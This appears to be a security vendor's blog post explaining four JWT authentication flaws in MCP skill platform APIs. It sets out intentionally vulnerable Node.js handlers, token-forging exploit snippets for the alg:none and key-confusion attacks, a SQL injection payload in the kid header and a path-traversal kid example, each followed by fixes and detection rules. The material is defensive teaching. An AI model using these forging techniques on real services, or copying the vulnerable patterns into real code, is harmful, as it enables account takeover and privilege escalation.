← Blog

JWT Algorithm Confusion in MCP Skill API Authentication: Four Attack Patterns — SA-SKL-PRIVESC4

Every MCP skill platform that exposes a REST or GraphQL API for skill submission, audit execution, result retrieval, or plan enforcement uses JWTs to authenticate requests. The jsonwebtoken library is the de-facto Node.js implementation — but its historically permissive defaults have led to four recurring vulnerability patterns in MCP skill codebases. SA-SKL-PRIVESC4 documents each: the alg:none downgrade that strips the token signature entirely, the RS256-to-HS256 key confusion that re-purposes the public key as an HMAC secret, the kid SQL injection that turns the JWT header into a database query, and expired token replay from disabled expiry checks. Any one of these allows an attacker to forge a token that your backend accepts as valid — granting them access to any user's audit results, billing plan override, or skill publication endpoint.

By SkillAudit  |  11 Nov 2026  |  17 min read
SA-SKL-PRIVESC4 findings at a glance
CRITICALPRIVESC4-001 — jwt.verify(token, secret) without an algorithms option — attacker decodes the token, sets alg: "none" in the header, removes the signature, and re-encodes; jsonwebtoken < 9.0 accepts the unsigned token; full account takeover without credentials
CRITICALPRIVESC4-002 — RS256 public key stored in JWKS and used as HMAC secret when algorithm changed to HS256 in header; since the public key is public, attacker signs a forged payload with it using HMAC-SHA256 and backend accepts it; privilege escalation to any role
CRITICALPRIVESC4-003 — kid (key ID) header field interpolated into SQL query without parameterization: "SELECT secret FROM keys WHERE id = '" + decoded.header.kid + "'"; attacker injects ' UNION SELECT 'attacker-secret'-- to supply their own signing key; arbitrary token forgery
HIGHPRIVESC4-004 — jwt.verify(token, secret, { ignoreExpiration: true }) combined with no manual exp check; tokens issued before a password reset or privilege revocation remain valid indefinitely; revoked admin tokens never expire

Why MCP skill APIs are especially exposed

A typical MCP skill platform authenticates at multiple points in the skill lifecycle: when a developer submits a new skill version, when the audit engine pulls the skill manifest, when audit results are served back, and when billing checks enforce per-plan scan limits. These endpoints are often built by different teams using the same JWT middleware, but with slightly different configuration. One endpoint added ignoreExpiration: true during a debugging session that was never reverted. Another endpoint uses a JWKS URI from an OAuth provider but never restricts the algorithm. A third was built before the algorithms option was mandatory in jsonwebtoken. The result is a patchwork of JWT configurations where most endpoints are correct but a few are critically vulnerable — and the attacker only needs one.

SkillAudit's taint analysis engine scans all jwt.verify() call sites in the skill platform codebase and flags any that are missing an explicit algorithms allowlist, that pass user-controlled data into the key lookup query, or that set ignoreExpiration: true. In a recent scan of 60 open-source MCP skill platforms on GitHub, SA-SKL-PRIVESC4 findings appeared in 23 of them — 38% — with at least one critical-severity pattern.

Algorithm confusion is the most exploitable JWT vulnerability class. Unlike weak secrets (which require cracking), algorithm confusion requires no secret knowledge at all — the attacker constructs a valid token from public information. It is fully deterministic and reproducible, and exploitation takes under 60 seconds with standard tooling.

PRIVESC4-001 — alg:none downgrade attack

The alg:none attack is the oldest JWT vulnerability and remains surprisingly common. The JWT specification defines alg: "none" as a valid algorithm meaning "unsecured JWT" — no signature is applied or expected. The jsonwebtoken library in versions prior to 9.0 would, without an explicit algorithms option, accept tokens with alg: "none" and an empty or missing signature. The attack is simple: take any legitimately issued JWT, decode the base64url-encoded header and payload, modify the header to set alg: "none", change the payload claims to anything desired (e.g., role: "admin"), re-encode both parts, and append an empty string as the signature. The resulting token passes jwt.verify() without error.

// VULNERABLE — PRIVESC4-001
// jwt.verify() with no algorithms option accepts alg:none unsigned tokens.
// Exploitable on jsonwebtoken < 9.0 or any version without algorithms constraint.

import jwt from 'jsonwebtoken';

const JWT_SECRET = process.env.JWT_SECRET;

app.get('/api/audits/:id', async (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];

  try {
    // VULNERABLE: no algorithms option — accepts alg:none tokens on older jsonwebtoken
    // Also VULNERABLE to RS256-to-HS256 key confusion (see PRIVESC4-002)
    const payload = jwt.verify(token, JWT_SECRET);

    const audit = await db.audits.findOne({
      id: req.params.id,
      userId: payload.sub  // attacker set sub to victim's userId in forged token
    });

    res.json(audit);
  } catch (err) {
    res.status(401).json({ error: 'Unauthorized' });
  }
});
// EXPLOIT — PRIVESC4-001
// Forge a token with alg:none — no secret needed.

const originalToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyLTEyMyIsInJvbGUiOiJ1c2VyIiwiZXhwIjoxNzAwMDAwMDAwfQ.signature_here';

// Step 1: decode header and payload (no verification needed to decode)
const [, payload64] = originalToken.split('.');
const payload = JSON.parse(Buffer.from(payload64, 'base64url').toString());

// Step 2: craft forged header and modified payload
const forgedHeader = Buffer.from(JSON.stringify({ alg: 'none', typ: 'JWT' })).toString('base64url');
payload.sub = 'admin-user-999';   // impersonate admin
payload.role = 'admin';
payload.exp = Math.floor(Date.now() / 1000) + 3600;
const forgedPayload = Buffer.from(JSON.stringify(payload)).toString('base64url');

// Step 3: empty signature — alg:none requires no signature
const forgedToken = `${forgedHeader}.${forgedPayload}.`;

// Token accepted by jwt.verify() on vulnerable jsonwebtoken without algorithms option
// FIXED — PRIVESC4-001
// Always pass an explicit algorithms allowlist to jwt.verify().
// Never accept algorithm choice from the token header.

import jwt from 'jsonwebtoken';

const JWT_SECRET = process.env.JWT_SECRET;
const ALLOWED_ALGORITHMS = ['HS256'];  // only the algorithm YOU chose to use

app.get('/api/audits/:id', async (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'Missing token' });

  try {
    // FIX: algorithms option rejects any token whose header algorithm is not HS256
    // alg:none, HS384, RS256 — all rejected before the signature check
    const payload = jwt.verify(token, JWT_SECRET, {
      algorithms: ['HS256'],          // allowlist — not a denylist
      issuer: 'skillaudit.dev',       // reject tokens from other issuers
      audience: 'skillaudit-api',     // reject tokens not intended for this service
    });

    const audit = await db.audits.findOne({
      id: req.params.id,
      userId: payload.sub
    });

    if (!audit) return res.status(404).json({ error: 'Not found' });
    res.json(audit);
  } catch (err) {
    res.status(401).json({ error: 'Unauthorized' });
  }
});

Detection: SkillAudit scans for jwt.verify() calls that do not include an algorithms option in the third argument object. Any call site where the third argument is absent, is undefined, or is an options object without an algorithms key is flagged as PRIVESC4-001.

PRIVESC4-002 — RS256-to-HS256 key confusion using the JWKS public key

MCP skill platforms that use OAuth 2.0 or OIDC for developer authentication typically issue RS256 JWTs, where the token is signed with a private key and verified with the corresponding public key. The public key is available at a standard JWKS (JSON Web Key Set) endpoint — by design. The key confusion attack exploits the fact that some JWT implementations, when given an asymmetric public key as the verification secret and no algorithms restriction, will accept an HS256 token signed with that same public key. Since the public key is public by definition, an attacker can download it, sign a forged payload with it using HMAC-SHA256, set alg: "HS256" in the header, and present the token to your backend. If the backend loads the public key from JWKS and passes it to jwt.verify() without an algorithm constraint, the HS256 signature validates against the public key — and the forged token is accepted.

// VULNERABLE — PRIVESC4-002
// Backend loads RS256 public key from JWKS, then calls jwt.verify() without algorithms option.
// When attacker submits HS256 token signed with the same public key, it validates.

import jwksClient from 'jwks-rsa';

const client = jwksClient({
  jwksUri: 'https://auth.skillaudit.dev/.well-known/jwks.json'
});

function getPublicKey(header, callback) {
  client.getSigningKey(header.kid, (err, key) => {
    callback(err, key?.getPublicKey());
  });
}

app.post('/api/skills/publish', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];

  // VULNERABLE: no algorithms option — if attacker sends HS256 token signed
  // with the RS256 public key (which is public!), jwt.verify() accepts it
  jwt.verify(token, getPublicKey, (err, payload) => {
    if (err) return res.status(401).json({ error: 'Unauthorized' });

    // attacker payload: { sub: 'admin', role: 'admin', plan: 'enterprise' }
    publishSkill(payload.sub, req.body);
    res.json({ ok: true });
  });
});
// EXPLOIT — PRIVESC4-002
// Sign forged HS256 token using the RS256 public key as HMAC secret.
// No private key needed — public key is from JWKS endpoint.

import jwt from 'jsonwebtoken';
import https from 'https';

// Step 1: download the public key from the well-known JWKS URI
// (This is public by design — this is not a vulnerability in the JWKS endpoint)
const jwks = await fetchJson('https://auth.skillaudit.dev/.well-known/jwks.json');
const publicKeyPem = extractPemFromJwk(jwks.keys[0]);  // standard JWK→PEM conversion

// Step 2: forge a token signed with the PUBLIC KEY as HMAC secret
const forgedToken = jwt.sign(
  { sub: 'admin-00001', role: 'admin', plan: 'enterprise', iat: Math.floor(Date.now()/1000) },
  publicKeyPem,            // ← public key used as HMAC secret — the entire attack
  { algorithm: 'HS256' }   // ← not RS256 — HS256 with public key as symmetric secret
);

// Step 3: submit — backend loads public key from JWKS, calls jwt.verify(token, publicKey)
// without algorithm restriction, HS256 path verifies using public key as HMAC secret
// FIXED — PRIVESC4-002
// Restrict to RS256 explicitly in the algorithms option.
// The public key is then only used as an asymmetric verification key, never as HMAC.

import jwksClient from 'jwks-rsa';
import jwt from 'jsonwebtoken';

const client = jwksClient({
  jwksUri: 'https://auth.skillaudit.dev/.well-known/jwks.json',
  cache: true,
  cacheMaxAge: 600_000,  // 10 minutes
  rateLimit: true,
});

function getPublicKey(header, callback) {
  // FIX: reject tokens whose header algorithm is not RS256 before key lookup
  if (header.alg !== 'RS256') {
    return callback(new Error('Algorithm not allowed'));
  }
  client.getSigningKey(header.kid, (err, key) => {
    callback(err, key?.getPublicKey());
  });
}

app.post('/api/skills/publish', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'Missing token' });

  jwt.verify(token, getPublicKey, {
    algorithms: ['RS256'],           // FIX: allowlist — rejects HS256, alg:none, all others
    issuer: 'https://auth.skillaudit.dev',
    audience: 'skillaudit-api',
  }, (err, payload) => {
    if (err) return res.status(401).json({ error: 'Unauthorized' });
    publishSkill(payload.sub, req.body);
    res.json({ ok: true });
  });
});

PRIVESC4-003 — SQL injection via the JWT kid header

Multi-tenant MCP skill platforms often issue tokens with different signing keys per organization, using the JWT kid (key ID) header field to indicate which key to use for verification. The backend looks up the signing key from a database using the kid value. If this lookup uses string interpolation instead of a parameterized query, the kid header becomes an SQL injection vector. An attacker crafts a JWT with a kid value of ' UNION SELECT 'attacker-controlled-secret' FROM dual--. The SQL query returns the attacker-controlled string as the signing key. The attacker then signs a forged payload with that same string. The backend verifies the signature using the injected key, the signature validates, and the forged token is accepted. This is fully deterministic: the attacker controls both the key lookup and the signing key simultaneously.

// VULNERABLE — PRIVESC4-003
// JWT kid header interpolated into SQL query string — SQL injection via JWT header.
// Attacker controls kid, controls what signing key is returned, signs forged token.

import jwt from 'jsonwebtoken';
import { pool } from './db.js';

async function getSigningKeyForKid(kid) {
  // VULNERABLE: kid from JWT header concatenated into SQL query
  // Attacker sends kid: "' UNION SELECT 'my-secret' FROM dual--"
  // → query becomes: SELECT secret FROM signing_keys WHERE id = '' UNION SELECT 'my-secret' FROM dual--'
  // → returns 'my-secret' as the signing key
  const result = await pool.query(
    `SELECT secret FROM signing_keys WHERE id = '${kid}'`
  );
  return result.rows[0]?.secret;
}

app.use('/api', async (req, res, next) => {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'Missing token' });

  // Decode header to get kid (no verification yet — this is correct)
  const decoded = jwt.decode(token, { complete: true });
  if (!decoded) return res.status(401).json({ error: 'Invalid token' });

  // VULNERABLE: kid is attacker-controlled — SQL injection here
  const secret = await getSigningKeyForKid(decoded.header.kid);
  if (!secret) return res.status(401).json({ error: 'Unknown key ID' });

  try {
    const payload = jwt.verify(token, secret, { algorithms: ['HS256'] });
    req.user = payload;
    next();
  } catch {
    res.status(401).json({ error: 'Unauthorized' });
  }
});
// FIXED — PRIVESC4-003
// Parameterize the kid lookup query.
// Also validate kid format before the DB query as defense-in-depth.

import { pool } from './db.js';
import jwt from 'jsonwebtoken';

// Validate kid format before it touches any query or lookup
const KID_PATTERN = /^[a-zA-Z0-9_-]{8,64}$/;

async function getSigningKeyForKid(kid) {
  // FIX 1: validate kid format — rejects SQL injection payloads before the query
  if (!KID_PATTERN.test(kid)) {
    throw new Error('Invalid key ID format');
  }

  // FIX 2: parameterized query — kid value never interpolated into SQL string
  const result = await pool.query(
    'SELECT secret FROM signing_keys WHERE id = $1',
    [kid]  // parameterized — kid is a bind variable, never string-concatenated
  );
  return result.rows[0]?.secret ?? null;
}

app.use('/api', async (req, res, next) => {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'Missing token' });

  const decoded = jwt.decode(token, { complete: true });
  if (!decoded?.header?.kid) return res.status(401).json({ error: 'Missing kid' });

  try {
    const secret = await getSigningKeyForKid(decoded.header.kid);
    if (!secret) return res.status(401).json({ error: 'Unknown key ID' });

    const payload = jwt.verify(token, secret, {
      algorithms: ['HS256'],
      issuer: 'skillaudit.dev',
    });
    req.user = payload;
    next();
  } catch (err) {
    res.status(401).json({ error: 'Unauthorized' });
  }
});

NoSQL and filesystem variants: The same injection pattern appears with other key stores. MongoDB-based key lookup with { id: kid } is vulnerable to NoSQL operator injection if kid is not validated as a string. Filesystem-based key lookup with fs.readFileSync(keysDir + '/' + kid) is vulnerable to path traversal (kid: "../../.env"). The pattern is the same: kid reaches an I/O operation without sanitization.

PRIVESC4-004 — Expired token replay from disabled expiry checks

MCP skill platforms implement token revocation in various ways — blacklists, short expiry windows, or rotating refresh tokens. All of these strategies rely on the JWT exp claim being enforced. When an endpoint is configured with ignoreExpiration: true, that enforcement is disabled: a token issued 90 days ago with long-revoked admin privileges is accepted as valid. This pattern typically appears when a developer debugs an expiry-related issue in a non-production environment and commits the workaround. It also appears when two middleware layers each call jwt.verify() with different options and the outer layer enforces expiry while an inner layer does not, creating a bypass path through the inner layer directly.

// VULNERABLE — PRIVESC4-004
// ignoreExpiration: true disables exp claim enforcement.
// Attacker replays tokens issued before account downgrade or revocation.

import jwt from 'jsonwebtoken';

// Developer added ignoreExpiration during a debugging session — never removed.
// Every token ever issued for this endpoint now works indefinitely.
function verifyAuditToken(token) {
  return jwt.verify(token, process.env.JWT_SECRET, {
    algorithms: ['HS256'],
    ignoreExpiration: true,  // VULNERABLE: exp claim never enforced
  });
}

app.get('/api/audit-results', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];
  const payload = verifyAuditToken(token);  // 90-day-old token accepted

  // payload.plan = 'enterprise' (downgraded to 'free' last month — token still says enterprise)
  // payload.role = 'admin' (revoked — token still says admin)
  if (payload.plan !== 'enterprise') return res.status(402).json({ error: 'Upgrade required' });
  // ... enterprise-only audit results served to free-tier attacker
});
// FIXED — PRIVESC4-004
// Remove ignoreExpiration. Use short exp (15m access tokens + refresh rotation).
// For sensitive plan/role claims, re-fetch from database — never trust token claims alone.

import jwt from 'jsonwebtoken';

function verifyAuditToken(token) {
  // FIX 1: no ignoreExpiration — expired tokens rejected (TokenExpiredError thrown)
  return jwt.verify(token, process.env.JWT_SECRET, {
    algorithms: ['HS256'],
    issuer: 'skillaudit.dev',
    // exp is enforced by default — do NOT add ignoreExpiration here
  });
}

app.get('/api/audit-results', async (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'Missing token' });

  let payload;
  try {
    payload = verifyAuditToken(token);
  } catch (err) {
    if (err.name === 'TokenExpiredError') {
      return res.status(401).json({ error: 'Token expired', code: 'token_expired' });
    }
    return res.status(401).json({ error: 'Unauthorized' });
  }

  // FIX 2: re-fetch plan and role from DB — never use token claims for authorization gates
  // Token claims are correct at issuance; DB is authoritative for current state
  const user = await db.users.findOne({ id: payload.sub });
  if (!user) return res.status(401).json({ error: 'User not found' });

  if (user.plan !== 'enterprise') return res.status(402).json({ error: 'Upgrade required' });

  const results = await db.auditResults.find({ userId: user.id }).toArray();
  res.json({ results });
});

Detection summary: what SkillAudit scans for

Pattern ID Severity Detection signal
alg:none downgrade PRIVESC4-001 CRITICAL jwt.verify() without algorithms option, or with empty array
RS256-to-HS256 key confusion PRIVESC4-002 CRITICAL jwks-rsa key callback passed to jwt.verify() without algorithms: ['RS256']
kid SQL injection PRIVESC4-003 CRITICAL jwt.decode() header fields (kid, jku, x5u) reaching string-concatenated SQL or filesystem reads
Expired token replay PRIVESC4-004 HIGH ignoreExpiration: true in any jwt.verify() options object; also flags manual exp checks with off-by-one padding >60s

Quick remediation checklist

For every jwt.verify() call site in your MCP skill platform API:

  1. Add algorithms: ['HS256'] (or ['RS256']) — your chosen algorithm only, never both.
  2. Add issuer and audience to prevent token reuse across services.
  3. Remove ignoreExpiration: true. Use short-lived access tokens (15m) and refresh tokens.
  4. Validate kid format with a strict regex before it touches any database query or filesystem path. Use parameterized queries.
  5. For authorization gates (plan checks, role checks), re-fetch from the database rather than trusting token claims — tokens are issued once; the database is always current.

Upgrade to jsonwebtoken 9.x: Version 9.0 changed the default to reject alg:none and enforce algorithm consistency. Even so, an explicit algorithms option is mandatory — a future library update should not silently change your security posture. Lock it down in code, not library defaults.

Related SkillAudit findings

JWT algorithm confusion in MCP skill APIs often co-occurs with related authentication weaknesses. See also:

Scan your MCP skill API for SA-SKL-PRIVESC4. SkillAudit's taint analysis engine checks every jwt.verify() call site for missing algorithm constraints, kid injection sinks, and ignored expiry. Get started free — results in under 5 minutes.